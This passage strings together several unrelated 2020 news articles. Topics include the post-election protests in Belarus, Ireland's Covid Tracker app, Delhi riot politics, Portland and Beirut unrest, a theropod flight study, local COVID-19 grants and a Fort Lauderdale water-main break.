power for 26 years. The current protests are seen by many as an unprecedented challenge to his rule. Tikhanovskaya accused Lukashenko of massive falsification in the election and demanded he hand over power peacefully to her so that new elections can be held. Several thousand opposition supporters gathered peacefully in Minsk on Sunday night after the election, but were immediately violently attacked by riot police who used water cannons and stun grenades and detained and beat people seemingly at random. Several demonstrators were injured, at least one severely. Lukashenko has dismissed Tikhanovskaya's demand that he step down and on Monday even justified the crackdown, deriding the protesters as "sheep" controlled by European countries. "I warned there won't be a Maidan, no matter who wanted it," Lukashenko said earlier on Monday, according to Belarus' state news agency, referring to Ukraine's popular revolution in 2014 that toppled an autocratic president. "And so it has to be quietened down, to be calmed down. The response will be adequate. We will not allow them to blow up the country." Protesters returned Monday evening, after organizers advised them to buy helmets and goggles in anticipation of more police violence. Initially, small crowds in different groups moved towards the city center, where they were quickly attacked by police. But as the night wore on, the crowds grew in size, with thousands of people blocking roads and police officers seeming to struggle to contain them. Videos show that hundreds of cars stopped and honked in support. Meanwhile, explosions from stun grenades and fireworks were heard consistently throughout the night. The Belarusian Interior Ministry said that one demonstrator was killed after an "improvised explosive device" went off in his hand while riot police were dismantling a barricade. It was not possible to verify the police's version of events. The internet in Belarus has been partly shut down for two days, with many messenger apps not working properly. Belarus' government also refused to give journalists from most foreign news organizations permission to enter the country. European countries on Monday expressed concern about the election and the crackdown on demonstrators. The president of the European Union, Charles Michel, tweeted for the government to respect "basic human rights" and the right to assemble. United States officials also criticized the election, with U.S. Secretary of State Mike Pompeo issuing a statement on Monday before the protests, saying the vote had not been "free and fair," and condemning "intimidation tactics" by the authorities. Lukashenko recently sought to improve relations with Western countries as a counterweight to a more overbearing Russia, with which Belarus is already significantly integrated. The U.S. last year restored diplomatic relations with Belarus after a decade-long pause, caused by another crackdown by Lukashenko after an election in 2010. Pompeo did not announce any U.S. action -- amid calls from some in the European Union for sanctions on Belarus -- nor did he offer suggestions for a path forward, such as calling for Lukashenko to hold new elections. China, and Belarus' key ally, Russia, quickly recognized Lukashenko's re-election. Both Russian President Vladimir Putin and China's leader, Xi Jinping, congratulated the Belarus president. Tikhanovskaya said Sunday she would not join Monday's protests to "avoid provocations." Her team said authorities would surely use her presence at the protests as a pretext to jail her for allegedly inciting riots. She has called for authorities to engage in negotiations with her for Lukashenko to leave power, and has promised to pursue legal options to challenge the election results. Her team has claimed that counts in polling stations in Minsk show that, in reality, she received five to six times more votes than Lukashenko. They also said the record number of early votes -- 40% of votes -- suggest widespread falsification. At a press conference Monday morning, Tikhanovskaya called on anyone who believed their vote had been stolen "not to keep silent." "The government [isn't] listening to us, it has completely broken with the people, but I should repeat that we are for peaceful transitions and the government ought to think about now how to hand over power through peaceful means, because at the moment they only have one way: violence against their own people," Tikhanovskaya said, according to the local Belarus' news outlet Tut.by. Besides her appearance at the press conference and her brief appearance to file a complaint at her polling station on Monday, she has not been seen in public. For much of Sunday she was in hiding, worried that authorities would arrest her. Tikhanovskaya has become an unexpected leader of the opposition. She reluctantly became a candidate after her husband, a popular blogger, was jailed and prevented from running against Lukashenko. But she has become a rallying figure for the opposition in her own right, joining with two other women, Veronika Tsepkalo and Maria Kolsenikova, to channel a wave of dissatisfaction with Lukashenko. Discontent with Lukashenko has been fueled by a poor economy and weariness with his long rule and allegations of corruption. But it has also been boosted by his handling of the coronavirus pandemic, which Lukashenko has dismissed as a "hysteria." For months, the controversial leader has refused to impose significant quarantine measures despite rising cases and pleas from the World Health Organization. Copyright 2020, ABC Audio. All rights reserved. Thousands of smartphone users who saw their batteries drain unusually quickly after downloading the Covid Tracker app have been told the problem is resolved. The HSE declined to say how many people deleted the app because of the issue. Some users of Android smartphones, covering brands such as Samsung, Huawei, Sony and OnePlus, experienced abnormal battery life depletion and overheating with their phones and indicated the Covid Tracker app as the culprit. In separate statements, the HSE, Google and Nearform, the app's development firm, said the issue was fixable. Update "Sorry to anyone that has had issues with the app this weekend," the HSE said in a statement. "We have identified the problem that some users with Android phones are experiencing. "Google are working with us to fix it as soon as possible." There have been no reports of the issue affecting iPhones. Last weekend, the HSE claimed the problem was triggered by an update to Google Play Services leading to a change in behaviour in the app's Exposure Notification System. However, Google has not recently updated Google Play Services. Google and Apple are the main architects of the underlying technology behind the Covid Tracker app. The joint effort by the two tech giants was designed partially to minimise the impact on battery life from the app, which works in the background, even when the phone is locked or sleeping. Typically, the app can use around 5pc of a smartphone's daily battery reserve. However, over the weekend, hundreds of people on social media platforms such as Twitter and Reddit complained that their Android handsets were sapped of power within hours because of errant behaviour from the Covid Tracker app. Around 1.5 million Irish people have downloaded the app, according to the HSE, with more than 100 tracing connections made since its launch. The Covid Tracker app is designed to detect periods of close proximity between people for the purpose of alerting users if one of them subsequently tests positive for Covid-19. Close proximity is defined as being within two metres of another individual for a period of 15 minutes or more. HSE officials said the Bluetooth technology works reliably in this way 80pc of the time. The app is also designed to work with similarly constructed tracker apps from other countries that are based on the underlying API technology from Apple and Google. Criticism The HSE said it plans to highlight adoption of the app to international visitors coming to Ireland. Although widely regarded as a success in terms of adoption rate, the app has attracted criticism over location settings. According to the HSE and the app's settings, Android phone users must switch the phone's overall location settings on for the app to work. However, this does not enable location tracking through the app, the authorities say. Instead, it is a technical requirement for Bluetooth to work. Google's vice-president of engineering for Android told the Herald it is down to the way Android was built some years back. New Delhi, Aug 11 : The BJP has turned the heat on the Aam Aadmi Party once again over alleged involvement of its suspended leader Tahir Hussain in the Delhi riots this February that killed at least 53 people. Now a Delhi BJP leader has sought the revocation of Hussain's membership to the East Delhi Municipal Corporation. Delhi BJP Spokesperson Praveen Shankar Kapoor has written two separate letters, one to Delhi BJP President Adesh Gupta and the other to the East Delhi Municipal Corporation Mayor Nirmal Jain. He has demanded immediate termination of EDMC membership of Tahir Hussain, who he described as "the prime accused of Delhi riots". "Tahir Hussain is accused in many cases of rioting and murder during the February riots witnessed in North East Delhi. His membership of EDMC can be terminated under Section 33 (2) DMC Act," Kapoor said. This July, a Delhi court dismissed the bail application of Hussain, in connection with the murder of Intelligence Bureau (IB) staffer Ankit Sharma. Intelligence Bureau (IB) staffer Ankit Sharma was killed in Chand Bagh area during the northeast Delhi violence on February 25. His body was recovered from a drain and had 51 sharp and blunt injuries on it. Hussain's involvement is also being investigated over alleged connection with members of PFI, Pinjratod, Jamia Co-ordination Committee, United Against Hate Group and anti-CAA protesters. Hussain has also been booked under the stringent anti-terror law -- Unlawful Activities (Prevention) Act, in a case related to alleged conspiracy in the riots. Communal clashes broke out in northeast Delhi on February 24 after clashes between citizenship law supporters and protesters spiralled out of control leaving at least 53 people dead and around 200 injured. On last Tuesday night, it was reported that Rioters set fire to the Portland Police Association office and brutally vandalized their property. Although the police stated several have been arrested, the building set on fire including nearby places that were uncontrollable. According to the Police in Portland, the group had set up several barricades and fences along North Lombard Street. The group continued to tamper with the doors in an effort to break into the Portland Police Association office and several fires were started in the streets and around the building. For the detailed report recorded, Police Portland Bureau stated, a separate group began to gather at Peninsula Park on the 700 block of North Rosa Park Way as they began blocking all lanes of traffic on North Lombard Street at North Campbell Avenue. "A truck traveling westbound on North Lombard Street was seen dragging a motorcycle through the crowd on North Lombard Street. No one was hit by the truck and the driver was cooperative when interviewed by officers. The incident is still under investigation." "By 11:37 p.m., the group had set up several barricades and fences along North Lombard Street. The group continued to tamper with the doors in an effort to break into the Portland Police Association office and several fires were started in the streets and around the building. Due to the ongoing criminal activity, the gathering was declared an unlawful assembly." Many people reached out on social media such as Twitter, Facebook, and Instagram to spread not all police are cruel. Regarding the BLM march and protests, many protesters have changed into rioters brutally demolishing properties shown on news. People with misunderstanding have rioted many police stations as the group began throwing projectiles such as rocks and bricks striking several officers. There were gun fires as well as many fights that broke out in the parking lot of a convenient store. According to Fox News, moments later, the group began running off in different directions as officers arrived at the location and learned no one was struck by gunfire and no one would speak to officers regarding the incident. The Portland Mayor warns that rioters who set the police stations on fire are 'attempting murder.' The Lebanese army and security forces shot at unarmed protesters during largely peaceful demonstrations in the wake of the deadly Beirut port explosion, Amnesty International found. Tens of thousands of protesters filled the streets over the weekend, demanding the removal of a government widely blamed for the blast at the port last week. On Monday, Prime Minister Hassan Diab announced he and his ministers would be resigning. As protesters called for reform on Saturday, security forces fired tear gas, rubber bullets and pump-action pellets into the crowds, Amnesty International said. The rights group compiled its report using testimony from victims, eyewitnesses and physicians. The group also verified video of security forces that showed a punitive shoot-to-harm use of force. The analysis also confirmed security forces dressed in civilian clothes had fired into crowds. Instead of meeting its basic responsibilities toward the thousands of people left homeless and impacted by the blasts, the state seems to be on the attack against its population, said Lynn Maalouf, Amnesty Internationals Middle East research director. Doctors told Amnesty International theyve treated at least six eye injuries from pellets. All lost sight to varying degrees, and one mans eye had to be removed entirely. Amnesty International noted that a small number of protesters engaged in violence but said the incidents did not justify the use of force by security forces. Lebanons security forces fired a range of weapons in a way that was solely intended to harm people. To do this in the aftermath of a national tragedy is just cruelty beyond belief, Maalouf said. Amnesty International has also called for an independent investigation into the Beirut explosion, a key demand of the protesters after it was revealed that Lebanese authorities had for years improperly stored a massive stockpile of ammonium nitrate at the countrys most vital port. The highly explosive chemical detonated last Tuesday, setting off an explosion that killed at least 220 people and injured some 7,000. Widespread anti-government protests in Lebanon erupted in October, triggered by massive unemployment, perceived government corruption and mismanagement, and a flailing currency. Donor governments have demanded Beirut undertake painful political and economic reforms before receiving a financial bailout. Uncertainties in the evolutionary tree of birds and their closest relatives have impeded deeper understanding of early flight in theropods, the group of dinosaurs that includes birds. To help address this, an international study led by HKU Research Assistant Professor Dr. Michael Pittman (Vertebrate Palaeontology Laboratory, Division of Earth and Planetary Science & Department of Earth Sciences) and co-first-authored by his former Postdoctoral Fellow Dr. Rui Pei (now an Associate Professor at the Institute of Vertebrate Paleontology and Paleoanthropology, Beijing), produced an updated evolutionary tree of early birds and their closest relatives to reconstruct powered flight potential, showing it evolved at least three times. Many ancestors of the closest bird relatives neared the thresholds of powered flight potential, suggesting broad experimentation with wing-assisted locomotion before flight evolved. "Our revised evolutionary tree supports the traditional relationship of dromaeosaurid ("raptors") and troodontid theropods as the closest relatives of birds. It also supports the status of the controversial anchiornithine theropods as the earliest birds," said Dr. Pei. With this improved evolutionary tree, the team reconstructed the potential of bird-like theropods for power flight, using proxies borrowed from the study flight in living birds. The team found that the potential for powered flight evolved at least three times in theropods: once in birds and twice in dromaeosaurids. "The capability for gliding flight in some dromaeosaurids is well established so us finding at least two origins of powered flight potential among dromaeosaurids is really exciting," said Dr. Pittman. Crucially, the team found that many ancestors of bird relatives neared the thresholds of powered flight potential. "This suggests that theropod dinosaurs broadly experimented with the use of their feathered wings before flight evolved, overturning the paradigm that this was limited to a much more exclusive club," added Dr. Pittman. This study is the latest in the Vertebrate Palaeontology Laboratory's long-term research into the evolution of early birds and their closest relatives (see Notes). Asked about future plans, Dr. Pittman replied: "We have helped to better constrain the broader functional landscape of theropods just before flight evolved and in its earliest stages. We plan to now focus on the dromaeosaurids and early birds that we have shown to have the potential for powered flight to improve our understanding of what it took to fly and why." EDWARDSVILLE Madison County is accepting applications to grant $1.7 million to businesses and public service agencies for COVID-19 relief. Starting Monday, Madison County residents impacted by COVID-19 will be able to apply for federal virus relief money to be distributed through Community Development Block Grant as a result of the Coronavirus Aid, Relief, and Economic Security, or CARES, Act. The Madison County Board Grants Committee voted Monday, Aug. 10, on the plan. The CARES Act makes funding available to local governments to provide grants to small businesses and public service agencies impacted by COVID-19. Chairman Kurt Prenzler said the county was notified in April that it would receive $1,755,949 in CDBG funding through the CARES Act to help those affected by the challenges of COVID-19. The challenges faced during this time have been devastating, especially on small business owners, Prenzler said. The CARES funding can assist in helping those who may qualify for the grant. Madison County received the additional CARES Act funding aside from $2.985 million in CDBG funding. Madison County Community Development administers the CDBG funding. The CDBG funding, which is made available through the U.S. Department of Housing and Urban Development, provides annual grants to states and localities to invest federal dollars in communities across the country. Madison County is a designated entitlement county, which allows it to receive CDBG funds directly from HUD rather than through the state of Illinoiss competitive funding program. Alton and Granite City manage their own CDBG funding and will be responsible for taking applications within those communities. For those applying in Alton and Granite City contact: Alton Planning and Development Department, 618- 463-3500, www.cityofaltonil.com or Granite City Economic Development Department, 618 -452-6213, www.granitecity.illinois.gov/. Grants Committee Chair David Michael, R-Highland, said the grants awarded to the small businesses and public service agencies would be based on the ability of the applicant to demonstrate need. He said the grants are reimbursement grants. They have to have already spent money either on PPE or building modifications or if they were forced to close and they are still paying rent and utilities, that can all be reimbursed, Michael said. Small businesses are the backbone of our communities and we wanted to make sure this funding went to those who are the economic drivers across the county. Community Development Administrator Trudy Bodenbach said they anticipate the final applications would be brought to the Oct. 14 Grants Committee for approval. She said with that the County Board would then take action on Oct. 21 with distribution of funds starting Oct. 22. The county will award $1.5 million to businesses and $250,000 to public services agencies. Applications will be available online at https://www.co.madison.il.us/departments/community_development/index.php. Grants will be awarded on a first come, first served basis for all submissions with complete and qualifying applications. Award amounts will depend on estimated net loss between March 1 and July 31, adjusted for other COVID-19 funding received by the business, including Paycheck Protection Program loans. Small business grants will be awarded as follows: businesses with one to five employees will receive $5,000. Businesses with six to 10 employees will receive $10,000. Businesses with 11-25 employees will receive $15,000. To qualify for a small business grant, businesses must meet the following criteria: Suffered from business interruption caused by required closures resulting from the COVID-19 public health emergency; expenses as a result of the business interruption should exceed the amount requested since March 1, excluding those covered by insurance or reimbursement from any federal program. Suffered economic damages from business interruption caused by COVID-19 exceeding $5,000 since March 1, excluding those covered by insurance or reimbursement from any federal program. Employed 25 full-time equivalent employees or less and located in Madison County, and is not a publicly-traded company. Is not a home-based business and occupies commercial space and has been operating since at least Oct. 1, 2019, and can demonstrate ongoing operations as of Feb. 29. Is expected to be fully operational after local and state emergency guidelines are rolled back. Does not have any current unpaid liens and is not operating in violation of any state, federal or local laws. No owner, officer, partner, or principal actor of the business has a felony conviction for financial mismanagement within the last two years for which he or she is still serving a sentence (including prison, parole, and probation). In addition to the above criteria, one of the following CDBG eligibility criteria must also be met to qualify: The owners household income (including all adults at their home address) is below the income limits below, per HUD income guidelines per income verification. The business is located within a Low-to-Moderate Income Area (LMA) as per HUD guidelines via census tract data. The funding will help retain at least one full-time or part-time position for a person from a Low-to-Moderate Income (LMI) household, as per HUD income guidelines, who is at imminent risk of job loss without the funding (Note: this includes furloughed workers). It is anticipated that the funding would be used to supplement or aid job retention, rather than as a sole means of retaining a worker. Employees must have been on payroll as W-2 workers and be considered Low-to-Moderate Income to be considered for retention. Public services grants will be awarded using the following criteria: a maximum of $20,000 will be awarded to agencies to provide public services needed in response to COVID-19; the goal is to make available flexible financial resources to businesses/community-based and medical organizations to enable essential service delivery to prevent, prepare for, and respond to coronavirus. To qualify for a public services grant, organizations must meet the following criteria: The activity will have income eligibility requirements which limit the activity exclusively to low- and moderate-income persons; Non-profit agencies, public agencies and Community-Based Development organizations are eligible to apply for COVID-19 grant funds. The agency must be able to document COVID-19 hardship, as well as demonstrate funds will benefit primarily low and moderate income in Madison County. By PTI AHMEDABAD: Prime Minister Narendra Modi on Tuesday stressed on the need to increase coronavirus testing in Gujarat in view of the "high positivity rate" prevailing in the state. The PM made the suggestion during his virtual interaction with chief ministers of 10 states, including Gujarat's Vijay Rupani, on the latest COVID-19 situation. "Testing needs to be ramped up especially in those states where testing rate is low and positivity rate is high. These states are Bihar, Gujarat, UP, West Bengal and Telangana. "This suggestion to increase testing in these states emerged during this review meeting," said Modi in his address. After taking part in the virtual meet from Gandhinagar, chief minister Rupani, in a statement, said he had informed the PM that Gujarat's daily testing average is 456 tests per million. "Gujarat has 34 government-run and 59 private laboratories to conduct such a high number of tests. In addition, rapid antigen tests are being conducted in each district and in major cities," said the statement. Rupani added that around 47,000 COVID-19 beds and 2,300 ventilators are currently available in the state. Maintaining that Gujarat's patient recovery rate is more than 76 per cent, Rupani informed the PM that there are about 14,000 active cases in the state at present, while around 55,000 patients have been discharged till now. Rupani also said Gujarat's mortality rate due to coronavirus has gone down from 7.8 per cent to 2.1 per cent. The chief minister expressed confidence that the country will defeat the pandemic with Modi's continuous guidance, the release said. Till August 11, Gujarat has recorded 73,238 COVID-19 cases. Vellore: Income tax seized Rs 24 crore cash in new currency denominations, in Vellore, Chennai on Saturday.So far, over Rs 142 crore unaccounted assets have been recovered in tax operations by I-T sleuths so far in Chennai. Officials said the fresh seizure of new currency, in Rs 2000 notes, was made by the sleuths from a car in Vellore on the insistence of the accused presently being interrogated in the case. With this amount, the total seizure in the case has now gone upto Rs 166 crore in a single case. The department had seized Rs 142 crore undisclosed as sets - that includes about Rs 10 crore in new notes and gold bars weighing 127 kg -- during searches at multiple locations in Chennai, for the last two days, to check tax evasion. This largest seizure of new currency notes in the country, after the old Rs 500/1,000 notes were scrapped on November 8, was seized after?raids were launched on Thursday on eight premises of a group engaged in sand mining in Tamil Nadu. "The group has sand mining licence for the entire state of Tamil Nadu. Eight premises (six residential and two offices) were covered in the search "During the search, Rs 96.89 crore cash in old high denomination notes and Rs 9.63 crore in new Rs 2000 currency notes along with gold weighing 127 kg worth approximately Rs 36.29 crore were found and seized, as unaccounted assets," the Central Board of Direct Taxes, policy-making body for the I-T department, had said in a statement issued in Delhi. It had added that the searches are "still in progress at four out of the total 8 premises and more specific details including modus operandi would emerge after examination of the documents and other evidence detected during the search." Officials had said S Reddy, a contractor working with the state government, have claimed the entire money and the gold as his own and are being questioned along with few other people. A senior department official said this seizure of gold and cash was "an unprecedented amount that the tax department has seized in recent times." The department, the officials said, carried out the searches based on intelligence inputs about the activities of Reddy and few others for the last few days. Officials said the agency was investigating how the new notes in such a large quantity were stashed by the individual. The bundles of the new Rs 2000, that were seized, had no banking slips on the them and were jumbled up to mislead investigators, they said. For all the Latest India News, Download News Nation Android and iOS Mobile Apps. What can you do if you can't find a job? Make one for yourself. Last week Money Mail launched its jobs crisis survival guide, taking you through your basic redundancy rights and how to navigate a competitive labour market. But the harsh reality is that work could be scarce. The Bank of England has revised its unemployment forecast down from 10 per cent to 7.5 per cent but firms continue to haemorrhage jobs and the economy may not recover until the end of next year. So it could be time to take matters into your own hands. In your hands: More than a third of those who have been made redundant start their own business It's a well-trodden path. More than a third of those who have been made redundant start their own business, according to Direct Line. Emma Jones, of business network Enterprise Nation, says recessions often trigger an 'uptick in startups' and June saw a record number of new businesses being created. But there's no need to go it alone completely. There is plenty of support available. Here is Money Mail's guide to how to get started. What's your big idea? Make it your mission to solve a problem you care about. Alec Hawley, business expert at startups.co.uk, says a good business idea marries your own passions with wider trends. He adds: 'If you're creative and good with your hands, then selling things you've produced online can be a great way to start, especially with online sales booming as a result of the UK lockdown.' Will anyone buy it? There is no point in throwing time and money at something nobody wants. Is the industry profitable? If you enter a growing market, you don't have to be the biggest fish to make a splash. Test it before you launch it. You can launch a website with 50 of Google marketing to see whether people will buy the product. Or you could go old-school and stop people in the street. I make a living selling art after redundancy Former lecturer Christian Azolan makes more than 1,500 profit per month selling digital art online Christian Azolan is already making more than 1,500 profit per month from his own business after losing his job as a lecturer. He was made redundant from Brunel University, London, in March and decided to work for himself. Christian, 37, who lectured in media, now uses his skills in design to sell digital art online. He says: 'The first thing I did was just research. I looked at fine art, digital art, who was selling what. I went down into the detail of how much it would cost me. He advertised via Instagram, which brought him to the attention of online gallery Saatchi Art, who asked him to produce a collection. But Christian, from Hayes, West London, wanted to sell his work himself, so he created a website and shop front using Shopify. He secured an international deal with furniture store Wayfair. He says he generates up to 2,400 per month, with profits of 70 per cent. 'Before, I relied on someone else to pay me and renew my contract,' he adds. 'But now all the onus is on me. It's stressful, but I'm in control.' Is it profitable? Next you should create a business plan. Mr Hawley says: 'It doesn't need to be hugely detailed when you're starting out. You simply need to think about your costs and who your audience is, as well as the best ways to reach that audience.' What is the growth potential? To create a business worth at least 1 million, you will need to map a path to making at least 100,000 profit each year. Do I crowd-fund it? How much capital you need will depend on your concept. If you decide you need to raise money, there are various ways to do it. A Government-backed start-up loan allows you to borrow up to 25,000 at a low rate of interest for up to five years and also provides 12 months of mentoring from a business expert. Business loans are similar to start-up loans but are not available just for new businesses. The Federation of Small Businesses launched an online funding platform last year which allows you to access hundreds of funding options via just one application. Last crash killed my career... now my firm makes 20million a year Adam Taylor started an online pet business after losing his job at Lehman Brothers I remember the meeting with my managing director. It was heartbreaking. He told me I was lucky because I was let go early; the labour market would only get tougher. But losing my job at Lehman Brothers was still a massive shock. It felt like my identity. I'm Adam Taylor and I work at Lehman Brothers. What would I say now? Some people said I should get another job immediately but others suggested I take a step back so I had about three months off. I finally accepted a job as a management consultant but quit six months later. And that was when I thought of starting my own business. It was a lonely time, but the Prince's Trust Enterprise programme provided structure and support. There is a lot of strategy in choosing a business idea. I would tear out articles on industries that were booming or policy changes that might create opportunities. I've got three sisters and we always had pets at home. At one point we had two dogs, seven cats and a goldfish. I was always lugging heavy bags of pet food back from the supermarket. No one was doing home delivery in 2009. The pet-food industry was worth 4 billion a year but online sales accounted for just 1 per cent of that. So there was big growth potential. The next step was to decide whether I wanted to self-fund or raise money. I didn't have much money so I chose the latter - but I still own 100 per cent of my company, so my strategy is not dictated by shareholders. The Prince's Trust lent us 5,000 for test trading. We went to market stalls and anyone in the street with a dog. And we bought a cheap website but nobody would buy from it because it was on page 20 of Google. So we sold on Etsy, notonthehighstreet, eBay and Amazon. Now, those represent only about 5 per cent of our online sales - but it got the ball rolling. As we grew, brands began giving us funding to market their products. This year is our tenth anniversary. We have about 70 staff and will be turning over 20 million this year. Adam founded PetShop.co.uk in 2010 after losing his job at Lehman Brothers during the 2007-08 financial crisis. Count the costs Track your finances. Emma Jones says the key is to use resources efficiently. She recommends using free digital tools such as Google docs and time-management apps such as Toggl, while accounting software such as Xero helps you to keep records of invoices. Setting up a business bank account is a must if you're a limited liability company, as you are legally required to separate your business and personal finances. Capital: A Government-backed start-up loan allows you to borrow up to 25,000 at a low rate for up to five years and also provides 12 months of mentoring from a business expert Get out there Social media is a free and effective way of getting yourself and your business noticed. Ms Jones says LinkedIn is essential for B2B businesses and you should be on Instagram for fashion and food. 'Twitter and Facebook are also musts,' she adds. Mr Hawley says a slick website will help potential customers find you. He adds: 'Luckily, website-builders make it easy to quickly create a professional website that showcases your brand.' Examples include Shopify, Wix and Squarespace. Help is at hand This guide won't turn you into Apple boss Steve Jobs. It simply can't cover everything but the key message is to access available support, much of which is free. The Prince's Trust Enterprise programme is available to those aged 18 to 30 who are unemployed or working fewer than 16 hours a week. Enterprise Nation has teamed up with the Government to provide small firms with free one-to-one mentoring with expert business advisers. There are also dozens of free online guides available and don't forget friends and family. m.dilworth@dailymail.co.uk First, health officials in San Diego sent Shawn Gilbert a cease-and-desist letter, warning him to close all indoor operations at Boulevard Fitness and start complying with local shutdown rules. Then police showed up at the 10,000-square foot gym, finding dozens of people working out inside without masks or any kind of social distancing. Last week, when authorities gave Gilbert a new order to close immediately, he refused. Dozens of people snaked out of the open fitness center on Monday, waiting to work out indoors in the middle of the coronavirus pandemic. "I've got to follow my heart," he told KUSI last month. "Working out in a gym is just more than muscles. . . . It's a lifestyle, it's not a one hit and you're done. You can't take this away from us." Much like bars before them, or nail and hair salons even earlier, gym owners in California and beyond have fashioned themselves as the newest foot soldiers in the small but recalcitrant resistance against business shutdowns. Many public health experts say gyms can be a dangerous vector for the disease, but these fitness enthusiasts insist on keeping their facilities open for a mix of health, legal and business reasons. Their clients need to stay in shape, they say, their employees need to earn a paycheck, and their businesses cannot be unfairly singled out - even as the pandemic has killed at least 159,000 people in the United States. In Oceanside, Calif., one gym owner will head to court next month after he was arrested in May for reopening in violation of county health rules, while a facility near Sacramento was fined $2,500 refusing to close its doors. A six-location chain in Bakersfield has even resumed accepting new members as its owners claim they are running an "essential business." The owner of one gym in the Philadelphia suburbs has so frequently defied state rules that he has become a mainstay on Fox News, declaring himself a "thorn in the side" of New Jersey Gov. Phil Murphy, D, in one recent segment on "Tucker Carlson Tonight." In San Diego, Boulevard Fitness's Gilbert argued that keeping gyms open actually works in the interests of public health. "I don't want to sound like Hulk Hogan, but that's fact. You work out, you exercise, you're going to build your immune system to help fight disease," he told KUSI, noting physical activity can also help people with their mental health during quarantine. Contrary to his assertion, many infectious-disease specialists say that working out inside a gym is one of the highest-risk activities to perform, particularly in areas seeing a rapid spread of the coronavirus. Many young people who were otherwise healthy and had no preexisting conditions have also been killed by covid-19. "People may be exercising, breathing deeply, producing more of these covid infected droplets that could spread from person to person," Kathryn Anderson of SUNY Upstate Medical University told WSKG. "There are a lot more shared surfaces in terms of weights, yoga mats and even treadmills." While California rules allow most businesses - including gyms - to continue operating outdoors, Gilbert said such a mandate disadvantages Boulevard Fitness, which has limited outdoor space. A renovated skate park that once hosted the likes of Tony Hawk, it sits on a busy thoroughfare in the University Heights neighborhood. A longtime manager at the gym, Gilbert shelled out to buy the business in the middle of the coronavirus outbreak, he said, as a gamble he predicted would pay out "tremendously." In mid-June, things appeared to be looking up. With the rate of infection appearing to point downward, Gov. Gavin Newsom, D, allowed gyms to reopen if customers wore face masks and the fitness centers used rigorous disinfection practices. Gilbert happily complied, he said, capping the space at 50% capacity, adding new equipment and rolling out temperature checks for each customer as well as new cleaning procedures. But when California rapidly became one of the country's newest hot spots, and Newsom again ordered fitness facilities to shut down on July 13, he refused, calling the second mandate "unlawful." After staying open, Boulevard Fitness received its first cease and desist order from San Diego County health officials on July 21. About a week later, San Diego police conducted an inspection, finding about 25 people working out inside the fitness center and confirming Gilbert had received the order, KNSD reported. Many of the clients working out had their faces exposed and were not social distancing, authorities said. Then authorities struck back. "Despite repeated efforts to educate and enforce State and local law at this property, Boulevard Fitness is currently in noncompliance," said a second order, delivered to Gilbert on Aug. 6. "The failure to safely operate is an imminent health and safety risk." According to the mandate, Gilbert could face fines or jail time if he does not comply. Yet on Monday, the San Diego Union-Tribune reported, a long line of people in workout clothes snaked outside the front door, waiting to be let in one at a time. Asked by a KUSI reporter what he would tell police if they showed up to fine him, Gilbert said he would gladly pay up. But not without making them an offer first. "If they want to work out and get healthy," he said, "their day pass is on me." It was supposed to be an easy job not one that would shut down an entire city. But a series of major goofs and errors turned an underground drilling project into a nightmarish tale where the water pipes ran dry, leaving 250,000 people and businesses without water in Fort Lauderdale and several nearby cities. The details of what happened that day in July 2019 and how an unlicensed worker came to be operating the powerful drilling rig for a Florida Power & Light job are laid bare in court documents. A three-man crew started work around 11 a.m. on July 17, digging a trench for an underground pipe near the runways at Fort Lauderdale Executive Airport. Sometime after 3 p.m., their drill hit Fort Lauderdales main water supply line, a 42-inch concrete pipe that carries water from the citys wellfields to its Fiveash Water Treatment Plant. Their first clue that something was awry: Water came surging up from the ground. Their first call went to their boss. Hey, we broke something here, they told Geovanis Rivera, the Homestead man who runs his Geo & Yus company out of his home. What Did I Hit? The drill punched a 6-inch-wide hole through 7 inches of concrete. His guys, who were drilling 7 feet down, werent sure if theyd hit a water or a sewer main, Rivera said in a deposition. Hours later, a tree stump was used to plug the hole. Rivera didnt realize how big a deal the breach was until he saw the news that night. With the pipes running dry, Fort Lauderdale Mayor Dean Trantalis declared a state of emergency. Hundreds of hotels, restaurants and other businesses from Fort Lauderdale to Tamarac were forced to close. The next morning, thousands of people woke up to a boil-water order that lasted four days for some and six days for others. Neither Rivera nor his workers had a clue there was a massive water pipe right where they were digging. But they should have, according to a lawsuit filed by five businesses forced to close that day: The Las Olas Company (owner of the Riverside Hotel), Press & Grind Cafe, Roccos Tacos & Tequila Bar, Di Pietro Partners and HHR Lauderdale Beach Limited Partnership. With no running water, fire sprinklers wouldnt work and toilets wouldnt flush. Several hotels, including the Riverside, were forced to evacuate guests and cancel reservations. Harbor Beach Marriott estimates it lost $300,000 from the whole ordeal. It was like a hurricane, said Bill Scherer, an attorney representing the plaintiffs along with Adam Moskowitz. Everybody went home and bunkered down for a day. Scherer estimates businesses throughout Broward County lost up to $300 million in revenues. They just screwed up at every turn, Scherer said of the contractors. With directional drilling, you dont know where youre going because its underground. Water started coming out and then it was just a geyser. Like a fire hydrant on steroids times 1,000. The suit, filed last year, is expected to go to trial Jan. 11. An upcoming hearing on Sept. 18 will determine whether the case will be granted class-action status to cover all businesses impacted by the water main break. City Suing Too A second lawsuit, filed by Fort Lauderdale on July 13, seeks to recoup $800,000 in repair costs. Both lawsuits name FPL and three subcontractors as defendants. FPL hired Infratech Corp. to replace buried electrical cables. Infratech subcontracted the work to Florida Communication Concepts, or FCC. That company then hired an even cheaper subcontractor, Geo & Yus Corp. Rivera spoke briefly to the South Florida Sun Sentinel on July 30. He at first agreed to an interview, apologizing for not being entirely fluent in English. After the first question, he politely ended the interview. I think you should call my attorney, he said. Rivera, a Cuba native, moved to Miami in 2016 and opened his business the following year. A high school graduate, he spent four years studying to be a technician in civil construction but worked in tourism instead, he said in a deposition. Attorneys for FPL and all three subcontractors could not be reached for comment despite calls to their law firms Thursday morning. According to the lawsuit: FPL crews never bothered to visit the job site before the work began. And officials with Infratech and FCC, the company that hired Geo & Yus, did not show up that day to supervise the job. Jose Carlos Torres was the man operating the drill that day for Geo & Yus, Rivera said in his deposition. In his deposition, Rivera said he did not know whether Torres had any formal training to operate that kind of drill. Torres and the other two men on the crew are not licensed by the state to do the work they were doing, Moskowitz said. The crew did not use ground penetrating radar. If they had, they would have found the pipe. Another huge error was made when FCC put out an alert about the underground work but gave the wrong address, the lawsuit says. Relying on a service called Sunshine 811, FCC sent out an alert to companies that might have lines in the area so they could come out and mark them before the work started. Fort Lauderdale gave the all-clear because it had no lines at the address submitted by FCC: 2525 NW 55th Court. But the drill crew was working at 2417 NW 55th Court, a full 200 feet away. More Mistakes FCC made another mistake when it claimed there would be no directional boring, the lawsuit says. Timothy Hicks, who launched FCC in April 2019, defended his company during his deposition, laying the blame squarely on Fort Lauderdale for not coming out to mark the pipe. In his deposition, Hicks said city workers initially claimed the water pipe didnt even belong to Fort Lauderdale. 